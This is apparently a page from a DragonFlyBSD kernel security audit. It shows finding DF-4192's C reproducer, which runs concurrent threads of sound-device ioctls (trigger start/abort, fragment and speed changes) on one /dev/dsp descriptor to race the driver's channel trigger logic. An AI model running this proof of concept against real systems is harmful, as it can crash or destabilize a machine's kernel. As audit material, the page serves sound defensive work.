⬢ DragonFlyBSD Kernel Audit
DF-4192 / trighammer.c
← back to finding ↓ download raw
/* Focused repro: concurrent SNDCTL_DSP_SETTRIGGER START/ABORT (plus
 * SETFRAGMENT/SPEED churn) on the SAME fd => same pcm channels, to race
 * chn_trigger's c->trigger update vs. its PCM_LOCK-protected busy-list
 * insert/remove (channel.c:2190-2222).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

static int fd;
static volatile int go = 1;

static void *
trigger_thr(void *arg)
{
	int which = (int)(intptr_t)arg;
	int v;
	while (go) {
		if (which == 0)
			v = PCM_ENABLE_OUTPUT | PCM_ENABLE_INPUT; /* START */
		else
			v = 0;				       /* ABORT/STOP */
		ioctl(fd, SNDCTL_DSP_SETTRIGGER, &v);
	}
	return NULL;
}

static void *
frag_thr(void *arg)
{
	int v;
	(void)arg;
	while (go) {
		v = 0x0003000c;
		ioctl(fd, SNDCTL_DSP_SETFRAGMENT, &v);
		v = 0x00ff000a;
		ioctl(fd, SNDCTL_DSP_SETFRAGMENT, &v);
		v = 44100;
		ioctl(fd, SNDCTL_DSP_SPEED, &v);
		v = 5512;
		ioctl(fd, SNDCTL_DSP_SPEED, &v);
	}
	return NULL;
}

static void *
io_thr(void *arg)
{
	char buf[2048];
	(void)arg;
	while (go) {
		write(fd, buf, sizeof(buf));
		read(fd, buf, 64);
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	pthread_t th[6];
	int i, v;

	fd = open("/dev/dsp", O_RDWR | O_NONBLOCK);
	if (fd < 0) { perror("open"); return 1; }
	v = 16 << 16 | 10;
	ioctl(fd, SNDCTL_DSP_SETFRAGMENT, &v);
	v = AFMT_S16_LE;
	ioctl(fd, SNDCTL_DSP_SETFMT, &v);
	v = 2;
	ioctl(fd, SNDCTL_DSP_CHANNELS, &v);
	v = 44100;
	ioctl(fd, SNDCTL_DSP_SPEED, &v);

	pthread_create(&th[0], NULL, trigger_thr, (void *)0);
	pthread_create(&th[1], NULL, trigger_thr, (void *)1);
	pthread_create(&th[2], NULL, trigger_thr, (void *)0);
	pthread_create(&th[3], NULL, trigger_thr, (void *)1);
	pthread_create(&th[4], NULL, frag_thr, NULL);
	pthread_create(&th[5], NULL, io_thr, NULL);

	sleep(argc > 1 ? atoi(argv[1]) : 30);
	go = 0;
	for (i = 0; i < 6; i++)
		pthread_join(th[i], NULL);
	printf("trighammer: done rc=0\n");
	return 0;
}